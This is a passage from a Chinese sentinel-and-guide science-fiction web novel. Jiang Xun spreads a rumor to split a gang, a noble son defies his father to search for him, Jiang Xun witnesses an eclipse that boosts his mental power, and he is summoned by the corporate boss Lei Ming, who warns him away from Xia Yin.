老头一见众人已经纷纷议论了起来，忙抬手压了压：“你们这就不懂了吧！那要是在中央星那边觉醒了向导，当然是好事，在咱们自由城里觉醒了向导，那能算好事吗？！” 闻听这话，众人面面相觑一下，纷纷反应了过来，附和道： “对啊！在咱们这里觉醒，那被血狼帮知道了，不就要送去兰台了吗？哎，小艾米也是命不好，怎么就出生在这里了！” “怪不得昨天血狼帮出手了呢！这是发现小艾米了吧？哎，可怜的小艾米，以后是不是只能在兰台看到她了？我记得小艾米小时候可乖了！长得也很漂亮，真是太可惜了！” “那另一帮人也是来抢小艾米的？那看样子，小艾米至少也是个C级啊，不然怎么会有人和血狼帮对上也要抢她？” “我说呢，你们是没看到，昨天老杰克的店都被打成什么样了！啧啧，血流成河啊！听旁边的店家说，一直到今天，那地上的血水还洗都洗不干净呢！” 见众人都明白了过来，老头也适时一叹气： “可不是嘛！你们说说，明明是个大好事，结果落到头上了却成了灾！听说老杰克前阵子还说赚到钱了，要搬家呢！你说他们要是能早点搬家到安全一点的星球去，哪会遇到这事啊！” 众人闻言，也是一阵叹息。 “那昨天最后，小艾米到底落到谁家手上了？我看到今天老杰克的店还是那个被打坏的样子，也不见老杰克的人，他不会在昨天被打死了吧？” “这就不知道了，”老头说道：“不过听说昨天打到最后，血狼帮也没找到小艾米，不知道是被对方提前转移了还是怎么的，为了这事，斯科特老大发了好大的火呢，把负责盯人的谢堂主和负责抢人的奎克堂主都大骂了一顿！” 听到这里，江寻心下一转，也凑上前去，接话道：“我怎么听说小艾米最后是被血狼帮的人带走了？有人看到带走她的人胳膊上有个狼头纹身呢！” “咦？是吗？我听说血狼帮没找到人啊？”老头也有些不确定了，含含糊糊地说。 江寻又接道：“我昨天也路过北门那边了，听说就是因为血狼帮的人中途又把人抢走了，所以那帮黑衣人最后都拼命了！你们说……” 江寻把声音压低，却又刚好让所有人都能听到：“该不会是有人偷偷把向导藏起来了吧？我好像听说，之前也有哪个堂主，背着斯科特老大，私吞了好大一笔钱呢！你们说，该不会……” “你是说谢堂主？嘶！不会吧！” “怎么不会，谢堂主可也是B级哨兵！我早就觉得奇怪了，同样都是高级哨兵，他怎么还愿意一直在斯科特老大手底下讨生活，其他的B级哨兵，哪个不是自己当老大的啊！” “嘘！你小声点！不要命啦？让那帮鬣狗听见我看你哭不哭得出来！” “我就不信没人说过！不过他的胆子也真大啊，连斯科特老大点名要的向导都敢偷偷藏起来啊！” …… 一见众人说着说着，把话题拐到了这个方向，江寻又无声无息地退了出来，不再接话。 接下来两天，街上依然有血狼帮的人来回奔走着找人，连夏因的诊所都被里外整个搜了一圈。 可随着时间过去，一些流言开始在城里愈演愈烈起来，来往的血狼帮成员们，彼此之间的气氛也越来越古怪。 江寻在那天之后，再没做多余的事，与夏因一起正常地开店。 又没过多久，街面上来回巡逻的那帮鬣狗们突然就不见了，一披新的面孔被换了上来。 * 主星的光辉黯淡了下来，时针滴答滴答，慢慢滑向27点，即将进入无光期。 江寻看了看时钟，又看了看里间，心下有些着急。 终于，在他就要忍不住敲门的时候，里间的大门终于打开了。 曾经见过一次的那个女性哨兵，一边头疼似的挠着后脑勺往外走，一边扭过头去和夏因说着话： “上次不是都给你带了一瓶毒液了？你怎么还要啊？虫族身上的东西哪有那么好弄！你到底要拿来干嘛啊？” “这你别管，”夏因追着她走出来，“反正你要是搞不到下回就别来找我了！” “哎，怕了你了！”哨兵叹息一声，还是应了下来，“行行行，我去找人问问能不能给你搞到！净给我出难题，你就是仗着我宠你！” 见到坐在门口的江寻，那哨兵也不以为意，倒是夏因，一下子止住了嘴，沉默地送了人出去，就要回房。 江寻见此，心中狐疑更甚，开口叫住了他。 “夏因，她刚才说的毒液是什么？你要这东西做什么？” 夏因被江寻叫住，顿了一下才转过了身，面上丝毫不露异样。 “没什么啊！就是我最近要研究一种新药，需要用到毒，所以让她帮我搜集一下而已。” “什么东西还要用毒药去做？还是从虫族身上取的毒药？”江寻一见他的样子，丝毫也不信他说的话，逼问道。 据他所知，位于联盟西北部疆域外的虫族，其内部种类十分得多，每个种族所特有的天赋也不一，但无一例外都十分强大！ 由他们身上得来的毒液，不是毒性极度剧烈就是见效速度奇快的，基本上都无药可解。寻常人沾之即死，更不要说用它们做什么药了。 “哎呀，你又不懂制药，给你说了你也不知道！”夏因还在狡辩，眼睛却已经撇向了一边，下意识不想和江寻对视。 江寻眼睛一眯，突然想起夏因明明非常排斥哨兵，却还一直维持着给他们疏导的行为，心中忽然升起一个猜测。 正要再问，却见夏因似乎突然想起了什么，转过眼看向他。 “对了，之前拿回来的那个导航模块，你解开了吗？” 江寻一楞，下意识地就回答道：“还没有，前阵子血狼帮还一直在搜索艾米的踪迹，这时候让别人发现我们和老杰克有往来太扎眼了，我想等这事彻底过去了再去找人看。” 夏因闻言，手向江寻面前一摊：“那给我吧，我拿去雷鸣那里让他找人帮你看看，在他那里绝对安全，可没人敢去找他的麻烦！” 雷鸣？江寻瞬间反应了过来，雷老大！天启集团驻自由城分部的老大！ “这……”江寻犹豫了一下。 “怎么？”夏因眼睛一眯，有点生气，“你不相信我？” 江寻忙解释道：“怎么会！只是我从没接触过这个人，你就这么直接让他帮忙，他该不会为难你吧？” 听了江寻的解释，夏因的脸色这才好了些：“不会的，这种小事他身边的人随手就能搞定，他不会在意的！” 看夏因言之凿凿的样子，江寻便也从善如流地把那个不起眼的金属模组交给了夏因。 一番对话下来，江寻早就忘了刚才的话题，夏因捏着手里的金属块暗自偷笑了下，一转身，快走几步就回了房，紧紧关上了房门。 江寻看着他欲盖弥彰的动作，再想问什么却已经来不及，眼看着夏因在自己面前没了踪影，眉心狠狠皱了起来。 * 另一边，中央星，陆家庄园。 “什么！没找到人？！” 陆厌离一声惊呼，倏然站起了身。 “坐下！”陆明远狠狠皱起眉头，看向自己这个奇迹般恢复了过来的三儿子，“像什么样子？！你母亲就是这么教你的？” 陆厌离勉强压下情绪，目光沉沉地应声坐下，再开口时，语速却不自觉地加快。 “父亲，你派去的人在附近都找过了吗？会不会有遗漏？他也许登记的并不是那个名字，或者登陆的日期有一些出入？” 陆厌离急急问道。 “不可能遗漏，你知道的，未经提前报备的登陆舰一年中才能遇到几个？行了！我会派人继续找到这个人好好感谢他的！” “你现在最重要的任务，就是配合愈灵殿，好好提升你的精神力！其他的事你不要多想了！” “父亲！我……” “陆厌离！”陆明远语气冰冷起来，“不要让我重复！现在，出去！” 陆厌离看着面前已经低下了头不再理会他的男人，嘴唇张合几下，最后还是只能紧紧抿了起来，起身离开了男人的书房。 走在宽阔却毫无人气的走廊上，陆厌离的心情渐渐沉郁下去，各种各样的猜测开始充斥在他的脑海。 进了房间，身子往下一按，便重新恢复了幼生体的姿态，几步攀上了熟悉的小小空间中，紧紧抓住脚下江寻的衣服物件，嗅闻着上面快要消散殆尽的熟悉气息。 江寻……你去哪里了？ 往后几天，始终没有好消息传来。 陆厌离的心情也随着时间的推移渐渐紧绷，终于忍不住，再一次来到了陆明远面前。 “父亲，我要出去找他。” 陆明远闻言，终于放下了手中的笔，抬起头来。 “你在胡说什么！愈灵殿说了，你现在的状况很好，精神力也在不断提升当中，短时间内根本不用去担心再次堕化，现在那么着急找那个小向导做什么？” 上下打量一下陆厌离，面上现出一种了然之色。 “你是之前没接受过疏导和补偿，忍不住了是吗？你放心，只要你配合着愈灵殿控制住你的精神力，我会给你安排好新的向导的。” 说完，示意一下他离开，便又提起了笔。 却听陆厌离的声音坚定地响起：“不！我不会接受其他向导的，我只要他！” 听到陆厌离一再的忤逆，陆明远终于发了火。 “你到底在这里闹些什么？！你是还在意你哥哥对你下手的事？我都已经撤销了他的所有职位，让他回家反省了，你还有什么不满？” 说着，似乎是想起了过去这段时间中发生的事，语气和缓了一些： “你现在什么都不要想，好好提升你的精神力等级！你知道现在全联盟有多少眼睛在看着你吗？若是你这一次能一举突破，那整个陆家都会因为你更上一层楼的！到时候你想要什么没有？” “你不是一直想把你母亲的名字写入陆家家谱吗？我答应你，若是这一次，你能够成功突破等级，我就承认她的身份，让她得到该得的体面！甚至你若是想的话，也能重新被列入继承人的行列！” “至于新的向导，你也不用操心。你知道现在已经有多少家族对你抛出橄榄枝了吗？我保证，只要你这次能成功突破，我一定能给你安排最好的向导与伴侣！你一定会让整个联盟的哨兵都为之妒忌的！” 陆厌离听着来自父亲的许诺。 这些话语，若是几个月前的自己来听，恐怕会欣喜若狂，如今听着，却如轻风拂过，丝毫不能再让自己动摇。 “已经晚了，父亲，”陆厌离摇了摇头，“我必须要去找他，只能是他，我已经被他绑定了。” 陆厌离语气轻缓地吐出了这个重要的消息。 陆明远手上一顿，缓缓抬起头来，看向自己这个从小一直都十分听话的三子，周身气压开始凝滞。 “……你说什么？” “我已经被他绑定了，从此以后再也不能接受其他向导了。” 陆厌离语气平静地重复道。 陆明远双目注视着面前的年轻人，他的容貌还如十年前，答应自己去参加愈灵殿的休眠实验时一样，整个人的眼神却在短短几个月里脱胎换骨。 可这种改变，却是自己最讨厌看到的。 这一次，他的眼神彻底沉了下来。 “你知道自己在说什么吗？” 陆厌离微微低下头，面色闪过一丝缱绻：“是的，我当然知道，是我主动做的，我亲手让他绑定了我。” 这副模样终于让陆明远暴怒了起来。 他倏地站起了身，身后的椅子被站起的力道一推，在地面上摩擦出一阵尖锐刺耳的鸣叫。 “混账！真是反了你了！你怎么敢的？你给我滚出去！” 陆厌离对父亲的反应早有预料，说出这件事，他就没打算能简单的过关。但这些对于如今的他来说都不重要，现在，他只想赶快找回江寻！ 深深看了父亲一眼，陆厌离转身，离开了书房。 身后，陆明远看着渐渐远去的背影，眼神中蕴藏着可怕的风暴。 一直在旁边扮演着隐形人，默不作声的秘书，在这时，适时地问出一句话来。 “老爷，二少爷还被关在禁闭室里，还有明家和凡纳家主递送过来的联姻人选，您看？” “……把老二放出来吧，”陆明远面上的暴怒慢慢敛起，目光却更加寒凉了下去，“被烙印的哨兵，对别人来说没有什么区别，对我们这样的家族来说，已经没什么大用了。” “通知两位家主，联姻的人选可能需要换人，若是他们同意的话，就可以派人过来商讨下一步的流程了。” 说完，重新拿起了桌上的笔，低下了头去。 带着金丝眼镜的秘书，闻言，微不可察地露出一点儿笑意，随即应声道：“是，我这就去办。” 刚转过身，身后又飘来一句轻飘飘的吩咐：“派人去找找那个小向导吧，在老三之前找到他，把他带到我面前来。” 秘书闻言，低声应是，随即退了下去。 陆明远微抬起头来，了然地看一眼已经退下身去的贴身秘书，又重新低下了头—— 作者有话说：这周轮空了，哭唧唧[爆哭] 第79章 “……就要这些了， 老板，帮我称一下吧。” 一大清早，太阳还没升起， 早起的主妇们已经披着主星的辉光， 把菜场挤得人声鼎沸。 一大群中老年叔叔阿姨里面， 一个干净清爽的高个儿小伙子站在里面格外显眼。 江寻挑选好自己属意的食材，弯腰把手中的口袋递给满脸笑意注视着他的大婶，付好钱， 又被大婶塞了一把小菜， 这才提着颇有份量的一兜食材踏出了菜场。 刚走到街上，便见到前方街道被一众人群团团围住，中间传出阵阵求饶哭泣声与呵斥打骂声。 江寻皱了皱眉，凑近向内看去，便见几个穿着各异但同样魁梧强壮的男人，正扭着一个不住哭泣着的瘦弱女孩， 向一边的小巷子里拖去， 一边走着， 还不耐烦地甩着对方巴掌。 那女孩身上也不知哪里受了伤，汩汩血红顺着腿脚不断流下， 被拖拽着在道上染出一片狼藉血痕。 江寻不忍目睹地斜了斜眼，直到现在， 他也依然无法习惯这个既先进又野蛮的世界，无法不为自己的无能为力而感到愧疚。 此时， 身旁的人们眼见尘埃落定，也开始纷纷议论了起来。 “刚才那是兰台的护卫吧？又有人从兰台里逃跑了？” “是啊！哎呦，真是造孽！这个月已经是第四起了，每次都被抓回去还一直有人逃跑， 以前好像也没有这么频繁的出事过，也不知道最近是怎么了！” “好像跟那里有关系，”说话的人把声音压得很低，悄悄抬手指了指头顶，“兰台那边最近似乎一直在死人，我邻居说，他最近看到兰台好几次在晚上往外运东西，都被黑色的塑料布裹得紧紧的，但是他看到过那些包裹里露出来的头发，可能都是尸体！” 两人低声议论着，没注意到身后站着的江寻。 江寻看一眼那几人离开的位置，心中升起些风雨欲来的预感。 回到诊所之时，门厅里已经坐了不少的人，但气氛却不如往日里那般热络。 直到江寻如寻常一般，给等待着的众人都倒上了热饮，空气里漂浮起淡淡甜香，气氛这才渐渐松弛下来，众人也慢慢打开了话匣子。 “哎！这可怎么办呀！我侄子前阵子和我侄媳妇去外域旅行，结果昨天给我们发来消息，说是回来的航线被封锁了，他们现在被滞留在我们星域外面回不来了。咱们这里不会真的又要打仗了吧？” “谁说不是呢！哎！都怪我！之前我儿子就说最近情势有点微妙，让我们别管其他的事了，先和他爸坐飞船去找他看看情况，可我一直记挂着店里那些存货，想着出一出货了再去找他，结果现在刚订好票，就传来消息说航班取消了，出不去了！” 两个一高一矮的中年阿姨愁着个脸，纷纷懊悔道。 “应该不会吧？之前他们打仗的时候不也没怎么影响到我们吗？反正都是在星域里打，我们应该没事吧？”一个愣头愣脑的年轻人反驳道。 “那能一样吗！”坐在他旁边的人，似乎是他的父亲，闻言毫不客气地一巴掌拍上他的后脑勺，骂道：“之前管着我们这一片星域的是联盟，联盟好歹也算是正式的官方，动手的时候会顾忌到我们的安危。现在做主的可是一帮联合星盗团！联盟都要重新派兵来剿灭他们了，他们还会遵守联盟的法律让我们好过？” 说着，这位父亲的面上也爬上了忐忑：“我现在只希望他们到时候只要钱要物，别让我们把命也搭进去！” 众人被他说得人心惶惶，六神无主，却又毫无办法，气氛再次凝滞了下去。 江寻也是心中一沉，自己的动作还是太慢了。 及至晚上关门闭馆，从夏因那里拿到了导航模组的解读结果，江寻心头上的负担仍然没有减轻一分。 “中央星第九空港22号登陆口？” 江寻看着手中解读出的结果，在心中默念。 “中央星，那里可不是那么好进去的，能住在中央星这种寸土寸金的地方，非富即贵，你的那个哨兵是中央星的人吗？” 夏因比江寻提前一步看到这个结果，面上神色有些复杂。 “我也不知道，但这是我能得到的唯一线索了，只能过去看看再说了。” 江寻把纸条小心折叠，妥善保存了起来。 夏因有些气闷地把自己摔在了沙发上，眼睛盯着江寻：“他到底给你下了什么迷魂药让你这么念念不忘？你不是也说过，他一直在骗你吗？你都已经知道了还非要去找他？中央星啊！那里可跟我们这种偏远的小地方没法比，高级的哨兵向导多如牛毛，他如果真的是能住在中央星上的人物，怎么可能缺向导？这里面明显有问题！” “凭你的能力，随便找一个秩序好一点的地方都可以过得很好。或者你想办法进入塔中，也一样能轻轻松松地过上好日子，何必去做这种风险又大，又费力不讨好的事？” “更何况，你今天也听到了，现在的局势很不好，对外航线也都被封锁了，你要怎么去中央星？” 江寻微微一笑，其实他一直是个很简单很直接的人。喜欢了就在一起，不喜欢了就分开。不喜欢复杂不清，拖泥带水的东西。对于任何事物都是如此。 对于未来的选择也是这样。 他们之间关系复杂，有太多没有说清的事，他只是想在两人开诚布公地说清楚、做出决定之前，完成自己的承诺，不让自己在未来后悔。 至于结果如何，当他选择了这条路线时，便已经有了心理准备，不论好坏，都由自己承担。 所以他其实没有如夏因所担心的那样，被某些情感迷惑，不理智地强行去追求一段关系，他只是想去确定一个结果。 至于困难，他相信办法总比困难多，一个办法不行就换下一个，失败无数次也没关系，只要成功一次不就能达到目的了？ “封锁肯定也只是相对的，一定有什么渠道可以例外的，只是一般人接触不到这样的信息罢了。”江寻宽慰道。 “别担心，我不会硬来的。” 最有可能有渠道的，就是城主府和天启集团了吧。 江寻在心底思量道，该去哪里打听一下呢？ * 次日，江寻向夏因告了个假，一大早就踏出了诊所，穿过了三条街道，来到了这附近人流量最大的一条街道上。 走在街道上，向着两边的店铺观察了良久，这才推开了一座酒吧的大门。 一大清早的，酒吧里除了一个站在吧台后面擦拭着酒杯的男人外，空无一人。 听得有人进来，吧台后的男人头也没抬：“这里白天不开业，顾客请晚上再来吧。” 却听来人并没有退出去的意思，脚步声一路延伸到了他的面前。 “您好，我不是来喝酒的，”江寻走前一步，在吧台前的座椅上坐了下来，从怀里掏出两枚硬币，放在台面上推了过去，“老板，我来是想要打听点消息。” 男人一挑眉，上下打量江寻一下，没有碰面前的硬币。 “我恐怕帮不上你什么，我们这儿只是卖酒的！” “是很简单的事，”江寻再次掏出三枚硬币，一起推了出去，“不会给你们惹麻烦的。” 男人终于停下了手中的动作，对上了江寻平和却笃定的双眼，想了一下，伸手中台面上取下了硬币，当先走了出去。 “跟我来吧。” 行至二楼，男人把江寻引至一间空房间中，又在墙壁上不知道哪里按了一下，一边的墙面上就现出了另一道门来。 江寻打量一下门内，里面十分狭窄，只有中间的一张椅子，整个空间的大小只有一平米左右。 顺着男人的引导坐在了椅子上，身后便马上被关了起来。随即，面前的墙面后面，传来了脚步声，墙面上，一道只有半个巴掌大小的窗口，被打了开来。 真够谨慎的，江寻暗自叹道。 见对面有人影闪过，随即又停了下来等待着，江寻开了口。 “你好，我想最近周边区域航线被封锁的情况，你们应该已经知道了，我想问的是，在这自由城里，现在还有什么渠道可以最快去中央星呢？” …… 江寻一边思索着，一边下了楼，对着一楼仍然站在吧台后面的男人点了点头，推开门，走出了酒吧。 如他所料的，即使是航线被封锁了的现在，也还有好几种方式可以离开这颗星球。但是，若说要最快到达中央星，对方只给了他一个建议——城主府每年的人才选拔。 众所周知，城主府是这颗星球上官方唯一承认的政治单位。这不仅意味着，它必须在明面上遵守着联盟的法律法规，同时也意味着，他必须要同样支持塔的各项规定，履行它应尽的义务。 而塔对于辖区内所有地区的一个最基本的要求就是：每年要按照规定的比例，向塔中输送优秀的人才储备。 而城主府，今年的人才输送计划还没有开始进行。 * “城主府的人才输送计划？” 与塔有关的事物，江寻当然第一时间就想到了曾经在塔分部中学习过的夏因。 “是的，你知道这里面的情况吗？城主府一般都怎么确定人选，流程又是什么样的？” 夏因迟疑了一瞬，开口问道：“你想暴露自己的身份，成为城主府选定的人才被送去中央星的塔总部吗？” 这正是江寻的其中一个计划，于是点了点头。 “不行的！你不要暴露自己，”夏因赶忙摇头，劝阻道：“你以为城主府每次都会选最优秀的人才送去塔中吗？怎么可能！像自由城这种地方，他们每年向塔里送人只是为了维持塔的支持，有优秀的人才，他们只会想方设法地把人留下来，又怎么会主动送出去呢？” “他们每年只会按照最低人数与最低的要求，选几个刚刚觉醒的未成年孩子送过去罢了。” 江寻本就对这个计划没报太大的信心，听了夏因的话，便了然地点了点头。 “他们向塔里送人，总不会就让这几个孩子自己过去吧？总有护送、随行的人员吧？” “那倒是有，”夏因答道，“但是这种名额一般也不多，大部分都给了这些孩子的父母亲人，余下一些会给与城主府有关系的人脉，你要怎么拿到呢？” “嗯……我倒是有点想法，不过，”江寻沉吟，“要先想办法见到城主才行。” * 又一次远远就被驱赶了去，江寻苦笑着摇了摇头。 也不知是这城主本身就是这么谨慎还是近期情势不好，让他格外小心了起来。 江寻尝试了直接求见、路上偶遇等好几种办法，都没能靠近对方一步。 打听新近觉醒的孩子，也没查到什么信息，他的计划竟是还没开始，眼看着就要夭折了。 思索着回了诊所，一进门，却见夏因又是一副外套斗篷，即将出门的架势，微微一楞，心下一算时间，竟是又到了每月八号主星食的日子。 夏因眼见他回了家，明显松了口气。 “你再不回来，我可就要锁门了。” 江寻忙接过夏因手里的大门钥匙，问道：“要去雷老大那里吗？” 夏因不置可否地应了一声，看了看天色。 “嗯……时间还早，你先别关门睡觉，还没见过这里的主星食吧？今天天气不错，晚上你可以好好欣赏一下。” 说完，便步履匆匆地出了门，在慢慢黯淡下来的星光下，越走越远。 江寻原本就没打算这么早睡觉，收拾好了诊所，便拿出向导教材，坐在门厅的沙发里看了起来。 时针慢慢向着中央靠拢过去，透过诊所大门的主星光，仍然皎洁明亮。 看着时间差不多了，江寻放下手中的书本，踏出大门，站在门口的台阶上向着上方看去。 此刻，所有星辰的光辉，都被那占据天穹近乎四分之一空间的庞然巨物夺去。巨大而莹润明耀的主星，呈现出最圆满的姿态高高挂在穹顶之上。 一片朦胧的云雾无声无息地从主星表面弥漫开来，于是，变化开始了。 开始是一点点微不可察地黯淡，整个天空的亮度忽的下调了一分，像是一层云彩的遮蔽。 江寻只觉得夜空一沉，一股莫名的寒意穿透了衣衫，浸入了他的身体。 接着，头顶巨大的启明星，光芒开始以肉眼可见的速度衰减。 那原本辉煌夺目的色彩，仿佛被某个神仙妃子，顽皮地泼上了一层浓稠的墨汁，迅速褪色，沉沦下去。 一种深邃的，沉凝的暗红色，如同一滴墨汁被滴入了清澈的水池，开始从主星的中心向着边缘弥漫渗透过去。 江寻在地球上时见过月食，那是一种缓慢的蚕食，洁白的圆盘慢慢变得残缺，又渐渐现出身形，从始至终，始终带着股从容不迫的优雅。 但这里……完全不同！ 这不是一个天体被另一个天体的阴影缓慢覆盖，而像是他所在的整个世界，正被眼前这颗巨大行星的阴影无情吞噬下去！ 光，消失了。 不是缓慢的、优雅的，而是在达到某个临界点之后，如同闸门般轰然落下。 一瞬间，天地俱寂！ 绝对的黑暗如恐怖的黑洞，瞬间吞食了大地，整个世界如陷入了某种巨大怪物的胃袋之中，黑暗而冰冷！ 巨大的启明星，只剩下一个令人窒息的暗红轮廓悬于头顶。 此刻的它，完全与启明星的名字背道而驰，巨大的黑暗化为一只笼罩了整个世界的恐怖巨兽，而它便是嵌在巨兽面上的那只邪恶独眼。 深红似血的幽光，从那独眼中间慢慢渗透出来，渐渐汇聚到眼眶边缘，勾勒出一圈狂燃的火焰！在那凝视着地面的庞大巨脸上沸腾、燃烧！ 江寻凝视着那只独眼，无法移开视线。 他感到一阵阵晕眩，耳畔嗡嗡作响。 他的灵性似乎也在此时，被这奇诡而壮丽的奇景所触动，轻飘飘地上升、上升。 恍惚之间，他只觉得自己悬浮于这苍茫夜空之中。 头顶暗红深渊，脚踏死寂大地。 空气凝固，风声止息，整个世界只余穹顶上那道无声燃烧着的汹涌火圈！ 江寻在这冻结时间，扭曲空间的宏伟中颤抖着。 下一刻，那横亘于宇宙法则之上的、冰冷而暴烈的巨兽似乎动了起来。 庞然火圈被黑暗巨手摘了下来，一边下落一边缩小，化为一顶加冕的烈焰王冠，爆燃着、炸裂着，重重按在了悬于半空的江寻头顶。 江寻只觉得一股沛然巨力，随着这顶冠冕，一同压在了他的头顶。 灵性被这种无可抵抗的巨力直直压下，重重撞入江寻的身体。 体内瞬间被一股磅礴的力量充满，全身上下所有的皮肤都在这一瞬间鼓涨了起来。 脑海如遭重击，一片空白。 江寻身子往后一仰，便软软倒了下去，失去了意识。 待他再次清醒过来时，主星食已经悄然过去，启明星又恢复了它往日里明亮温柔的模样。 * 第二天，直到日上三竿，江寻才从睡梦中醒了过来。 经过一晚上的缓冲，体内突如其来的那股能量终于缓和了下来，与他身体里原有的精神力混杂在一起，静静在经脉之中流淌。 昨夜的经历实在莫名，他明明只是想看一下从没见过的天象罢了，谁知道却出现了那样的意外，简直就像是成了精的妖怪遇到了帝流浆一样。 至于原因，他也说不出个所以然来，只能归结于强烈的震撼刺激到了精神，从而产生了这样奇妙的变化。 好在从结果上来看，似乎也是因祸得福。 昨晚那一下，直接让他的精神力总量暴涨了一大截，连精神海都被扩大了许多，让他节省了许多的水磨工夫。 起身洗漱过后，没一会儿，便见着那个熟悉的披着斗篷的身影，慢慢从街道的尽头踱了回来。 只不过不同的是，这一次，他的身后竟然跟着一个护卫模样的年轻人。 “江寻，我回来了！”夏因一边走上台阶，一边打了个大大的哈欠。 看到江寻迎了上来，便自然地脱下了身上披着的斗篷外套，交给了他，一边伸着懒腰一边往屋内走去。 江寻手上揽着夏因换下来的衣物，眼睛转向了旁边从进门开始，就一直在打量着他的年轻护卫。 “你好，请问你是？” 年轻护卫点了点头，又看了一眼夏因，对着江寻说道：“江寻先生是吗？我是天启生命的员工，您可以称呼我为王麟，这次来是因为我们雷部长点名想要见见您，特派我来请您过去。” “见我？”江寻一楞，目光转向夏因。 夏因闻言，转过了身来，对着江寻点了点头，下巴一抬，示意了一下。 江寻看着夏因了然的模样，心中一转，有了些底。感激地对着夏因点了点头，应下了年轻护卫的话。 “好的，请稍候片刻。” 说完，拎着手中的衣物放进盥洗室旁边的洗烘机内，设置好了程序，这才整理了一下衣服，跟着那护卫出了门。 穿过几条街道，又顺着大路走了大概十五分钟后，两人这才在一座通体镜面、闪耀着冷冽高级感的庞大建筑前停下了脚步。 又随着面前的护卫经过了好几轮安检，江寻这才乘着能够俯瞰到大半个自由城的升降梯，踏上了大楼最顶层。 领路而来的护卫，在升降梯前便恭敬地停下了脚步。 走出升降梯，踏上顶层地板的那一刻，整层楼灯光大亮。 江寻震惊的发现，这宽阔的一整个顶层空间里，居然一块遮蔽的墙壁也没有，全部建筑都由一种极为通透的不知名材料熔铸而成。 灯光一打，整层空间瞬间澄澈如洗，光影消弭无形，只余一片流光溢彩的通透。 而在那片流光溢彩的通透尽头，一张线条冷硬、宽大厚重的黑色长桌占据视野。 长桌之后，一张高背转椅缓缓旋动，椅中人的面孔在通透的光线下清晰地呈现出来，一道沉静而十足压迫的视线直射而出，落在了江寻的面庞上—— 作者有话说：霸总登场！啪叽啪叽鼓掌 第80章 椅中人初看只有二十八九， 眉间竖纹与深刻法令却在带来威严压迫的同时，为他增添了三分成熟。 直眉压眼，勾鼻迫人， 注视着江寻的目光冰冷森寒， 充满了审视。 高坐在转椅之上， 携着整层楼的光辉，理所当然地俯视着他面前的所有。 江寻从未遇到过如此强势的人物，脚步停顿了一下， 缓了一下心神， 才再次步进，来到了他的身前。 “你就是江寻？” 男人开口，声音低沉，语速缓慢。 江寻忍下对方逡巡在他身上的不善目光，不卑不亢地应声： “是的，初次见面， 雷部长。” 又是一阵寂静， 对方的目光如有实质般从他身上刮过， 向导的本能让江寻寒毛直竖。 终于，对方似乎是暂且放过了他， 下巴微微一抬：“坐！” 江寻依言，在他面前坐了下来， 紧绷的身体这才慢慢松弛了下来。 “我看过你的资料，遇难意外坠落在自由城， 在昏迷时被血狼帮的那群秃鹫捡去，卖给了夏因，对吗？” 江寻丝毫不意外对方对自己的了解，相信在他决定要见自己的那一刻， 自己的资料恐怕就已经摆在了对方的桌子上。 “是的，是我。” “你倒是有本事，”雷鸣从桌上取过一个扁扁的匣子，慢条斯理地从中取出一根雪茄，用一把精致的小剪子剪开，又慢悠悠地划开一根火柴点燃，身体后仰，深吸了一口，这才继续说道： “不仅成功从材料变成了员工，让夏因那个那么厌恶哨兵的人把你留了下来，还接二连三的为了你的事专门来求我。” 雷鸣呼出一口烟雾，缭绕的青烟模糊了江寻的视线，让他看不分明对方的表情。 但那声音里的冷意，透过青烟刺过来的眼神，却如针一般穿透烟雾，扎在江寻的皮肤上。 江寻放在膝盖上的手指微微蜷缩了一下，对方字里行间透露出来的敌意，让他如芒在背：“夏医生心善，放过了我。我确实承蒙他许多照顾。” “心善？” 雷鸣像是听到了什么极其可笑的话，短促地嗤笑一声，雪茄的烟头在昏暗的光线下明明灭灭。 “他对哨兵什么态度，其他人不知道，你以为我也不知道吗？你一个来历不明的哨兵，能让他破了例，不仅好吃好喝地留下你，还几次三番为了你的事，低声下气地来求我。江寻，你说，这仅仅是‘心善’两个字能解释的吗？” 他的身体微微前倾，隔着烟雾，那双鹰隼般的眼睛锐利地锁定江寻，压迫感陡然倍增：“还是说，你听说过他以前的事，觉得他特别好骗，就学着那个谢谦的手段，再次蛊惑了他？” 江寻微微一楞，对方这话，好像是把自己当成了又一个欺骗夏因感情的混蛋。可这话里话外的意思，与其说是在敲打觊觎他所有物的人，更像是在保护夏因。 “雷部长，”心中一动，江寻迎上他的目光，边说边探寻着他的神色，“我初来乍到，一无所有，能活下来已经是幸运，哪里还敢妄想更多？夏医生收留我，是因为他好心，而我留下做事，是因为我无家可归，又想尽我所能报答夏医生。至于他为我向您开口……我事先并不知情，但我对夏医生，也只有感激之情。” “感激？”雷鸣口中咀嚼着这个词，语气玩味，神色间掠过一丝嗤笑，“谢谦一开始，也是这么说的啊！”。 他慢条斯理地将雪茄在昂贵的烟灰缸边缘轻轻磕了磕，灰烬无声落下，“我看你倒是挺会利用这份‘感激’的。” 他停顿了一下，吸了一口雪茄，似乎在斟酌用词，又像是在探寻着江寻真正的目的。 良久，才缓缓开口，每一个字都带着不容置疑的分量： “江寻，我不管你用什么方法让夏因对你另眼相看，也不管你留在他身边想图谋什么。听着，我只说一遍。” 青烟再次弥漫开来，但这一次，雷鸣冷冽的声音清晰地穿透了它，带着冰冷的命令意味： “我可以给你一个机会，达成你的目的。” 江寻心中一喜，又按捺下来，谨慎地开口：“雷部长的意思是……？” “意思就是，我可以给你铺路，安排你见到你想见的人。”雷鸣盯着他，眼神锐利如刀，“但是，有一个条件。” 他身体向后靠回椅背，姿态看似放松，但那双眼睛里的寒光却更加慑人。 “既然你说了，对他只有感激，那么，从今天起，管好你自己，跟夏因保持距离，不准故意接近他，更不准再利用他的‘心善’去达成你的任何目的！” 雷鸣的声音陡然转厉，带着一种不容置喙的狠厉，“把他从你的计划里彻底摘出去！否则……” 他没有说下去，只是用雪茄点了点江寻的方向，那未尽的威胁比任何言语都更具力量。房间里只剩下雪茄燃烧的细微声响，以及令人窒息的沉默。 江寻的眼睛微微睁大，一个念头电光火石般闪过他的脑海。 他想起夏因提到雷鸣时，毫不掩饰的那种复杂又带着点厌烦的态度，想起雷鸣此刻提及夏因时，语气深处那丝难以察觉的……异样。 他们两人明明身份地位有着天壤之别，可对待彼此的那份不同与在意，在他的眼里却是如此分明。 一个大胆的推测瞬间成形。 江寻抬起头来，直视着雷鸣那双充满审视和警告的眼睛，语气异常清晰地说道： “雷部长，我想您误会了。我留在夏因身边，并非为了利用他，也从没有欺骗他的感情，我只是他的好朋友，他对我也是如此。” “好朋友？” 雷鸣像是听到了世上最荒谬的笑话，嘴角勾起一个极其讽刺的弧度，眼神瞬间变得无比危险，甚至带上了一丝被冒犯的暴戾。 